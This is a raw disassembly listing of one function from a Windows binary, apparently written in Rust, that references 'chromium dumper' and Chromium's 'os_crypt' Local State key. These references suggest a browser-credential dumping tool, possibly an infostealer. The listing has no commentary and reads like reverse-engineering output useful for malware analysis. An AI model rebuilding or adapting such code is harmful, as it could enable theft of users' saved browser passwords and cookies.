mov qword [rsp + 0x350], rcx
lea rcx, [rbp + 0x78]
mov qword [rsp + 0x418], rcx
lea r15, [rsp + 0x1e0]
lea rcx, [rax + 0x18]
mov qword [rsp + 0x398], rcx
mov r14, qword [rax]
movabs rcx, 0x8000000000000000
cmp r14, rcx
je 0x14004929d
mov rcx, qword [rax + 8]
mov qword [rsp + 0x30], rcx
mov r13, qword [rax + 0x10]
mov rsi, qword [rbp + 0x98]
mov rdi, qword [rbp + 0xa0]
mov qword [rbp + 0xa0], 0
test rdi, rdi
je 0x140048218
mov rcx, rsi
call fcn.14001e89f
add rsi, 0x30
dec rdi
jne 0x140048207
mov rcx, r12
mov rdx, qword [rsp + 0x30]
mov r8, r13
call fcn.1400629e0
mov rcx, rbx
mov rdx, rbp
mov r8, r12
call fcn.14003f56b
mov al, byte [rsp + 0xd0]
cmp al, 0x1a
jne 0x1400492ba
mov qword [rsp + 0x1b0], r13
mov qword [rsp + 0x328], r14
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xc8], rax
mov rdi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
lea rcx, [rax + rax*8]
lea r8, [rdi + rcx*8]
mov r13, rdi
mov rbx, rdi
test rax, rax
lea rbp, [rsp + 0x2b0]
je 0x140048479
lea r13, [rdi + 0x48]
mov rbx, rdi
lea rsi, [rsp + 0xe0]
mov qword [rsp + 0x1c0], rdi
mov qword [rsp + 0x38], r8
mov rax, qword [r13 - 0x48]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140048479
lea r14, [r13 - 0x48]
movdqu xmm0, xmmword [r14 + 8]
movups xmm1, xmmword [r14 + 0x18]
movups xmm2, xmmword [r14 + 0x28]
movups xmm3, xmmword [r14 + 0x38]
movups xmmword [rsi + 0x38], xmm3
movups xmmword [rsi + 0x28], xmm2
movups xmmword [rsi + 0x18], xmm1
movdqu xmmword [rsi + 8], xmm0
mov qword [rsp + 0xd0], rdi
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0x120], 0
je 0x1400483e6
cmp qword [rsp + 0xf0], 0
je 0x1400483e6
mov ecx, 9
mov rdi, rbp
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
mov rcx, r12
call fcn.1400629e0
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x58]
call fcn.1400629e0
mov rsi, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f0]
mov rcx, rdi
call fcn.1401e779c
mov r12, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140330ef0
mov qword [rsp + 0x70], r12
lea r12, [rsp + 0x40]
mov qword [rsp + 0x78], r15
lea r15, [rsp + 0x1e0]
mov qword [rsp + 0x80], rdi
mov rcx, r15
mov rdx, r12
xor r8d, r8d
call fcn.140049909
mov rsi, qword [rsp + 0x1e0]
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x1400483f0
mov rcx, r15
call fcn.14001c972
mov rcx, rbp
call fcn.14002069a
jmp 0x140048450
mov rcx, rsi
call fcn.14002069a
jmp 0x140048460
lea rax, [rsp + 0x1e8]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmmword [rsp + 0x60], xmm2
movaps xmmword [rsp + 0x50], xmm1
movaps xmmword [rsp + 0x40], xmm0
mov rcx, rbp
call fcn.14002069a
mov qword [rbx], rsi
movdqa xmm0, xmmword [rsp + 0x40]
movaps xmm1, xmmword [rsp + 0x50]
movaps xmm2, xmmword [rsp + 0x60]
movaps xmm3, xmmword [rsp + 0x70]
movdqu xmmword [rbx + 8], xmm0
movups xmmword [rbx + 0x18], xmm1
movups xmmword [rbx + 0x28], xmm2
movups xmmword [rbx + 0x38], xmm3
add rbx, 0x48
lea rsi, [rsp + 0xe0]
mov rdi, qword [rsp + 0x1c0]
add r13, 0x48
add r14, 0x48
mov r8, qword [rsp + 0x38]
cmp r14, r8
jne 0x1400482b0
mov r13, r8
mov r14, rbp
mov rax, r8
sub rax, r13
movabs rcx, 0xe38e38e38e38e38f
mul rcx
mov qword [rsp + 0xe0], 0
mov eax, 8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], rax
cmp r8, r13
je 0x1400484d5
mov rsi, rdx
shr rsi, 6
mov rcx, r13
call fcn.14002069a
add r13, 0x48
dec rsi
jne 0x1400484c4
sub rbx, rdi
mov rax, rbx
movabs r8, 0xe38e38e38e38e38f
mul r8
mov rcx, rdx
shr rcx, 6
mov rax, qword [rsp + 0xc8]
shl rax, 3
lea rax, [rax + rax*8]
mul r8
shr rdx, 6
mov qword [rsp + 0x400], rdx
mov qword [rsp + 0x408], rdi
mov qword [rsp + 0x410], rcx
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.14001b415
mov rcx, r12
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x1b0]
call fcn.1400629e0
mov rcx, rsi
mov rbp, qword [rsp + 0x1d0]
mov rdx, rbp
mov r8, r12
call fcn.140040919
mov al, byte [rsp + 0xd0]
cmp al, 0x1a
jne 0x140049313
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x358], rax
mov rbx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
imul r8, rax, 0x70
add r8, rbx
mov r13, rbx
mov qword [rsp + 0x38], rbx
test rax, rax
je 0x14004878d
lea r13, [rbx + 0x70]
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0x1c0], r8
mov rax, qword [r13 - 0x70]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14004878d
lea rbp, [r13 - 0x70]
lea rsi, [rbp + 8]
mov ecx, 0xd
lea rdi, [rsp + 0xe8]
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0xd0], rbx
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0xd8], rcx
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0x120], 0
je 0x140048714
cmp qword [rsp + 0xf0], 0
je 0x140048714
mov ecx, 0xe
mov rdi, r14
lea rsi, [rsp + 0xe0]
rep movsq qword [rdi], qword [rsi]
mov rdx, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
mov rcx, r12
call fcn.1400629e0
mov rdx, qword [rsp + 0x2d0]
mov r8, qword [rsp + 0x2d8]
lea rcx, [rsp + 0x58]
call fcn.1400629e0
mov rsi, qword [rsp + 0x2e8]
mov rdi, qword [rsp + 0x2f0]
mov rcx, rdi
call fcn.1401e779c
mov rbx, r15
mov r15, rax
mov r12, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.140330ef0
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r12
lea r12, [rsp + 0x40]
mov qword [rsp + 0x80], rdi
mov rdx, qword [rsp + 0x300]
mov r8, qword [rsp + 0x308]
lea rcx, [rsp + 0x88]
call fcn.1400629e0
movdqu xmm0, xmmword [rsp + 0x310]
movdqu xmmword [rsp + 0xa0], xmm0
mov rcx, rbx
mov rdx, r12
xor r8d, r8d
call fcn.140049b81
mov r15, qword [rsp + 0x1e0]
movabs rax, 0x8000000000000000
cmp r15, rax
jne 0x140048723
mov rcx, rbx
call fcn.14001c955
mov rcx, r14
call fcn.14001efef
jmp 0x14004875e
lea rcx, [rsp + 0xe0]
call fcn.14001efef
jmp 0x140048769
mov ecx, 0xd
mov rdi, r12
lea rsi, [rsp + 0x1e8]
rep movsq qword [rdi], qword [rsi]
mov rcx, r14
call fcn.14001efef
mov rax, qword [rsp + 0x38]
mov qword [rax], r15
lea rdi, [rax + 8]
mov ecx, 0xd
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
add rax, 0x70
mov qword [rsp + 0x38], rax
mov r15, rbx
mov rbx, qword [rsp + 0xc8]
add r13, 0x70
add rbp, 0x70
mov r8, qword [rsp + 0x1c0]
cmp rbp, r8
mov rbp, qword [rsp + 0x1d0]
jne 0x1400485b9
mov r13, r8
mov rax, r8
sub rax, r13
shr rax, 4
movabs rdi, 0x2492492492492493
mul rdi
mov qword [rsp + 0xe0], 0
mov eax, 8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], rax
cmp r8, r13
je 0x1400487e6
mov rsi, rdx
mov rcx, r13
call fcn.14001efef
add r13, 0x70
dec rsi
jne 0x1400487d5
mov rax, qword [rsp + 0x38]
sub rax, rbx
shr rax, 4
mul rdi
mov rcx, rdx
imul rax, qword [rsp + 0x358], 0x70
shr rax, 4
mul rdi
mov qword [rsp + 0x438], rdx
mov qword [rsp + 0x440], rbx
mov qword [rsp + 0x448], rcx
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.14001b0a5
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x1b0]
mov r8, rdi
call fcn.1400629e0
cmp qword [rsp + 0xd0], 0
je 0x14004886a
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
xor ecx, ecx
mov qword [rsp + 0xe0], rcx
mov eax, 8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0x330], rcx
mov qword [rsp + 0x338], rax
mov qword [rsp + 0x340], rcx
mov rcx, rsi
call fcn.14001b04f
mov rcx, r12
mov rdx, qword [rsp + 0x30]
mov r8, rdi
call fcn.1400629e0
mov rcx, rsi
mov rdx, rbp
mov r8, r12
call fcn.14003ffd0
mov al, byte [rsp + 0xd0]
cmp al, 0x1a
jne 0x140049369
mov r14, qword [rsp + 0xd8]
mov rsi, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xe8]
lea r12, [rax + rax*2]
shl r12, 4
add r12, rsi
mov rdi, rsi
mov r15, rsi
test rax, rax
je 0x1400489cb
lea rdi, [rsi + 0x30]
mov r15, rsi
mov rax, qword [rdi - 0x30]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x1400489cb
lea rbx, [rdi - 0x30]
mov rcx, qword [rbx + 0x28]
lea rdx, [rsp + 0xe8]
mov qword [rdx + 0x20], rcx
movdqu xmm0, xmmword [rbx + 8]
movups xmm1, xmmword [rbx + 0x18]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
mov qword [rsp + 0xd0], rsi
mov qword [rsp + 0xd8], r15
mov qword [rsp + 0xe0], rax
cmp qword [rsp + 0xf0], 0
je 0x1400489aa
cmp qword [rsp + 0x108], 0
je 0x1400489aa
lea rax, [rsp + 0xe0]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmmword [r15 + 0x20], xmm2
movups xmmword [r15 + 0x10], xmm1
movdqu xmmword [r15], xmm0
add r15, 0x30
jmp 0x1400489b7
lea rcx, [rsp + 0xe0]
call fcn.14001e89f
add rdi, 0x30
add rbx, 0x30
cmp rbx, r12
jne 0x140048917
mov rdi, r12
mov rax, r12
sub rax, rdi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov qword [rsp + 0xe0], 0
mov eax, 8
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xe8], rax
cmp r12, rdi
je 0x140048a24
mov rbx, rdx
shr rbx, 5
mov rcx, rdi
call fcn.14001e89f
add rdi, 0x30
dec rbx
jne 0x140048a13
mov rax, r15
sub rax, rsi
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rdi, rdx
shr rdi, 5
shl r14, 4
lea rax, [r14 + r14*2]
mul rcx
shr rdx, 5
mov qword [rsp + 0x290], rdx
mov qword [rsp + 0x298], rsi
mov qword [rsp + 0x2a0], rdi
lea rbx, [rsp + 0xd0]
mov rcx, rbx
call fcn.14001af48
cmp r15, rsi
lea r12, [rsp + 0x40]
je 0x140048c96
mov rcx, rdi
call fcn.140073266
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0x2b8], rdx
mov qword [rsp + 0x2c0], 0
cmp rax, rdi
jb 0x14004925a
xor ecx, ecx
lea rax, [rcx + rcx*2]
lea r14, [rdx + rax*8]
add rcx, rdi
mov qword [rsp + 0x38], rcx
lea rbp, [rsp + 0xd0]
lea r15, [0x1403b7448]
mov ebx, 2
lea r13, [0x140030f70]
lea r12, [rsp + 0x40]
lea rax, [rsi + 0x18]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r13
mov qword [rsp + 0xd0], r15
mov qword [rsp + 0xd8], rbx
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], rbx
lea rcx, [rsp + 0x1e0]
mov rdx, rbp
call fcn.140061c40
mov rax, qword [rsp + 0x1f0]
mov qword [r14 + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqu xmmword [r14], xmm0
add r14, 0x18
add rsi, 0x30
dec rdi
jne 0x140048ae2
mov rsi, qword [rsp + 0x2b8]
mov rdi, qword [rsp + 0x2b0]
lea rcx, [rsp + 0x268]
mov rdx, rsi
mov rbx, qword [rsp + 0x38]
mov r8, rbx
mov r9b, 0xa
call fcn.140065ecb
mov rcx, rsi
mov rdx, rbx
call fcn.14006da82
test rdi, rdi
je 0x140048baa
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x1c8]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x360]
call fcn.1400629e0
lea r15, [rsp + 0x1e0]
mov rcx, r15
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0x1b0]
call fcn.1400629e0
mov rsi, qword [rsp + 0x1e8]
mov rdi, qword [rsp + 0x1f0]
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0xd0]
mov rdx, rsi
mov r8, rdi
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0x138], 0
mov qword [rsp + 0x140], rdi
mov word [rsp + 0x148], 1
xor r14d, r14d
mov rbp, qword [rsp + 0x1d0]
lea r13, [0x140030f70]
mov rbx, qword [rsp + 0x118]
mov rcx, r12
lea rdx, [rsp + 0xd0]
call fcn.1400335f6
cmp qword [rsp + 0x40], 0
je 0x140048cb4
mov rdi, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x138]
add rbx, rcx
sub rdi, rcx
mov qword [rsp + 0x138], rax
cmp byte [rsp + 0x149], 0
mov r14, rbx
je 0x140048c47
jmp 0x140048d07
mov rdx, qword [rbp + 0xa0]
xor edi, edi
mov r14, qword [rsp + 0x328]
lea r15, [rsp + 0x1e0]
jmp 0x14004907c
cmp byte [rsp + 0x149], 0
je 0x140048cc8
test r14, r14
jne 0x140048d0a
jmp 0x140049769
cmp byte [rsp + 0x148], 0
je 0x140048ce4
mov rbx, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
jmp 0x140048cf9
mov rbx, qword [rsp + 0x138]
mov rax, qword [rsp + 0x140]
cmp rax, rbx
je 0x140048cbe
sub rax, rbx
add rbx, qword [rsp + 0x118]
mov rdi, rax
mov r14, rbx
mov qword [rsp + 0x450], r14
mov qword [rsp + 0x458], rdi
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], r13
lea rax, [rsp + 0x450]
mov qword [rsp + 0x50], rax
lea rax, [0x140066290]
mov qword [rsp + 0x58], rax
lea rax, [0x1403bf7c0]
mov qword [rsp + 0xd0], rax
mov r14d, 2
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xf0], 0
mov qword [rsp + 0xe0], r12
mov qword [rsp + 0xe8], r14
lea rcx, [rsp + 0x2b0]
lea rbx, [rsp + 0xd0]
mov rdx, rbx
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
je 0x140048db3
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rdi, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2b8]
mov r8, qword [rsp + 0x2c0]
lea r13, [rsp + 0x2b0]
mov rcx, r13
mov rdx, rsi
call fcn.140061f90
lea rax, [0x14033773e]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xa592daf81110920c
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.1400325ef
mov rax, qword [rax]
movabs rcx, 0x8f1b56bb4d01d638
xor rax, rcx
mov qword [rsp + 0x428], rax
lea rax, [rsp + 0x428]
mov qword [rsp + 0x450], rax
mov qword [rsp + 0x458], 8
lea rax, [rsp + 0x360]
mov qword [rsp + 0x40], rax
lea rcx, [0x140030f70]
mov qword [rsp + 0x48], rcx
lea rax, [rsp + 0x450]
mov qword [rsp + 0x50], rax
lea rax, [0x140066290]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0xd0], r14
mov qword [rsp + 0xe0], r14
mov qword [rsp + 0xf0], 0
mov ecx, 0x20
mov qword [rsp + 0xf8], rcx
mov al, 3
mov byte [rsp + 0x100], al
mov qword [rsp + 0x108], r14
mov qword [rsp + 0x118], r14
mov edx, 1
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], rcx
mov byte [rsp + 0x138], al
mov qword [rsp + 0x140], r14
mov qword [rsp + 0x150], r14
mov qword [rsp + 0x160], r14
mov qword [rsp + 0x168], rcx
mov byte [rsp + 0x170], al
mov qword [rsp + 0x178], r14
mov qword [rsp + 0x188], r14
mov qword [rsp + 0x198], rdx
mov qword [rsp + 0x1a0], rcx
mov byte [rsp + 0x1a8], al
lea rax, [0x140343670]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1e8], 5
mov qword [rsp + 0x200], rbx
mov qword [rsp + 0x208], 4
mov qword [rsp + 0x1f0], r12
mov qword [rsp + 0x1f8], 3
lea rcx, [rsp + 0x538]
mov rdx, r15
call fcn.140061c40
cmp qword [rsp + 0x2b0], 0
je 0x140048fa5
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
test rdi, rdi
mov r14, qword [rsp + 0x328]
je 0x140048fc4
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
cmp qword [rsp + 0x360], 0
je 0x140048fe6
mov r8, qword [rsp + 0x368]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rcx, [rsp + 0x538]
call fcn.140019aab
mov rdi, rdx
test rax, rax
jne 0x14004965a
mov rsi, qword [rsp + 0x270]
mov r9, qword [rsp + 0x278]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.14019c3f0
cmp qword [rsp + 0xd0], 0
jne 0x14004966e
mov rcx, rdi
call qword [0x14033d488]
cmp qword [rsp + 0x268], 0
je 0x140049052
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rsi, qword [rsp + 0x298]
mov rdi, qword [rsp + 0x2a0]
mov rax, qword [rbp + 0x90]
mov rdx, qword [rbp + 0xa0]
sub rax, rdx
cmp rax, rdi
jb 0x140049281
lea rcx, [rdx + rdx*2]
shl rcx, 4
add rcx, qword [rbp + 0x98]
mov rax, rdi
shl rax, 4
lea r8, [rax + rax*2]
mov rdx, rsi
call fcn.140330ef0
add qword [rbp + 0xa0], rdi
mov qword [rsp + 0x2a0], 0
mov rdi, qword [rsp + 0x408]
mov rsi, qword [rsp + 0x410]
mov rax, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x58]
sub rax, rdx
cmp rax, rsi
jb 0x14004920c
lea rcx, [rdx + rdx*8]
shl rcx, 3
add rcx, qword [rbp + 0x50]
lea rax, [rsi*8]
lea r8, [rax + rax*8]
mov rdx, rdi
call fcn.140330ef0
add qword [rbp + 0x58], rsi
mov qword [rsp + 0x410], 0
mov rdi, qword [rsp + 0x440]
mov rsi, qword [rsp + 0x448]
mov rax, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x70]
sub rax, rdx
cmp rax, rsi
jb 0x140049225
imul rcx, rdx, 0x70
add rcx, qword [rbp + 0x68]
imul r8, rsi, 0x70
mov rdx, rdi
call fcn.140330ef0
add qword [rbp + 0x70], rsi
mov qword [rsp + 0x448], 0
mov rdi, qword [rsp + 0x338]
mov rsi, qword [rsp + 0x340]
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0x88]
sub rax, rdx
cmp rax, rsi
jb 0x14004923e
shl rdx, 6
add rdx, qword [rbp + 0x80]
mov r8, rsi
shl r8, 6
mov rcx, rdx
mov rdx, rdi
call fcn.140330ef0
add qword [rbp + 0x88], rsi
mov qword [rsp + 0x340], 0
lea rcx, [rsp + 0x290]
call fcn.1400213a0
lea rcx, [rsp + 0x330]
call fcn.14002184a
lea rcx, [rsp + 0x438]
call fcn.1400215b6
lea rcx, [rsp + 0x400]
call fcn.140021631
test r14, r14
je 0x1400491f1
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x398]
cmp rax, qword [rsp + 0x3a8]
jne 0x1400481ba
jmp 0x14004929d
mov rcx, qword [rsp + 0x1b8]
mov r8, rsi
call fcn.140333f6c
mov rdx, qword [rbp + 0x58]
jmp 0x1400490d5
mov rcx, qword [rsp + 0x350]
mov r8, rsi
call fcn.140331ee6
mov rdx, qword [rbp + 0x70]
jmp 0x140049129
mov rcx, qword [rsp + 0x418]
mov r8, rsi
call fcn.140331fde
mov rdx, qword [rbp + 0x88]
jmp 0x140049174
lea rcx, [rsp + 0x2b0]
xor edx, edx
mov r8, rdi
call fcn.140333f3c
mov rdx, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x2c0]
jmp 0x140048ab2
mov rcx, qword [rsp + 0x468]
mov r8, rdi
call fcn.140331e19
mov rdx, qword [rbp + 0xa0]
jmp 0x14004907c
lea rcx, [rsp + 0x390]
call fcn.140020f82
mov rax, qword [rsp + 0x320]
mov byte [rax], 0x1a
jmp 0x140049412
mov ecx, dword [rsp + 0xd1]
mov edx, dword [rsp + 0xd4]
mov r8, qword [rsp + 0x320]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movups xmm0, xmmword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
movups xmm1, xmmword [rsp + 0xf0]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x100]
movups xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movups xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
jmp 0x1400493ec
mov ecx, dword [rsp + 0xd1]
mov edx, dword [rsp + 0xd4]
mov r8, qword [rsp + 0x320]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movups xmm0, xmmword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
movups xmm1, xmmword [rsp + 0xf0]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x100]
movups xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movups xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
jmp 0x1400493d7
mov ecx, dword [rsp + 0xd1]
mov edx, dword [rsp + 0xd4]
mov r8, qword [rsp + 0x320]
mov dword [r8 + 4], edx
mov dword [r8 + 1], ecx
movups xmm0, xmmword [rsp + 0xd8]
mov rcx, qword [rsp + 0xe8]
movups xmm1, xmmword [rsp + 0xf0]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rsp + 0x100]
movups xmmword [r8 + 0x30], xmm1
mov byte [r8], al
movups xmmword [r8 + 8], xmm0
mov qword [r8 + 0x18], rcx
lea rcx, [rsp + 0x330]
call fcn.14002184a
lea rcx, [rsp + 0x438]
call fcn.1400215b6
lea rcx, [rsp + 0x400]
call fcn.140021631
mov r14, qword [rsp + 0x328]
test r14, r14
je 0x140049405
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [0x14033d4d0]
lea rcx, [rsp + 0x390]
call fcn.140020f82
mov rax, qword [rsp + 0x1c8]
cmp qword [rax], 0
je 0x140049433
mov r8, qword [rax + 8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
movaps xmm6, xmmword [rsp + 0x550]
movaps xmm7, xmmword [rsp + 0x560]
add rsp, 0x578
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rax, rax
je 0x140049473
mov r8, qword [rsp + 0xd8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov qword [rsp + 0x2b8], r14
mov qword [rsp + 0x2c0], rsi
mov byte [rsp + 0x2b0], 0x1a
lea rcx, [rsp + 0x40]
call fcn.140021058
jmp 0x14004453b
lea r8, [0x140343020]
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0x268]
call fcn.140331aa0
mov rsi, rax
lea rbx, [rsp + 0xd0]
mov rcx, rsi
mov rdx, rbx
call fcn.140339e53
mov rdi, rax
mov rax, qword [rbx]
jmp 0x14004809a
lea rdx, str.rF4_
lea r8, [0x1403446a8]
xor edi, edi
xor ecx, ecx
call fcn.14033b8d2
mov rsi, rax
jmp 0x140047f97
test r12, r12
jne 0x14004801b
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.140338067
mov rsi, rax
xor r12d, r12d
jmp 0x14004801b
movzx eax, r9b
cmp eax, 0x7d
jne 0x140049538
lea rdx, [rsp + 0x390]
mov qword [rdx], 0x15
jmp 0x140048008
lea rdx, [rsp + 0x390]
mov qword [rdx], 0x11
jmp 0x140048008
lea rdx, [rsp + 0x390]
mov qword [rdx], 8
jmp 0x140048008
movdqu xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0xd0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1403e5a28]
lea r9, fcn.14001df20
jmp 0x1400496fe
lea rsi, [rsp + 0x48]
lea r8, [rsp + 0x1e0]
mov ecx, 0xa
mov rdi, r8
rep movsq qword [rdi], qword [rsi]
lea rax, str.srcchromiumdumper.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1403e5a28]
lea r9, fcn.14001edf6
jmp 0x1400496fe
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
mov rsi, rax
jmp 0x1400495f8
mov rsi, qword [rsp + 0x398]
xor r12d, r12d
mov rbp, qword [rsp + 0x1d0]
jmp 0x14004801b
movdqu xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0xd0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x140049584
movdqu xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0xd0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x140049584
lea r8, [rsp + 0xd0]
mov qword [r8], rdi
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
mov rax, qword [rsp + 0xd8]
lea r8, [rsp + 0x40]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.14033b879
jmp 0x140049510
lea r8, [rsp + 0xd0]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea r8, [rsp + 0xd0]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea r8, [rsp + 0xd0]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
jmp 0x1400496eb
lea r8, [rsp + 0xd0]
mov qword [r8], rax
lea rax, str.srcchromiumdumper.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1403e5a28]
lea r9, fcn.1401c3218
mov edx, 0x2b
call fcn.1403345c0
movdqu xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0xd0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x140049584
movdqu xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
lea r8, [rsp + 0xd0]
movaps xmmword [r8 + 0x10], xmm1
movdqa xmmword [r8], xmm0
lea rax, str.srcchromiumdumper.rs
jmp 0x140049584
mov ecx, 8
mov edx, 0x48
call fcn.140333990
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea rcx, str.srcchromiumdumper.rs
call fcn.140334660
lea r8, [rsp + 0xd0]
mov qword [r8], rdi
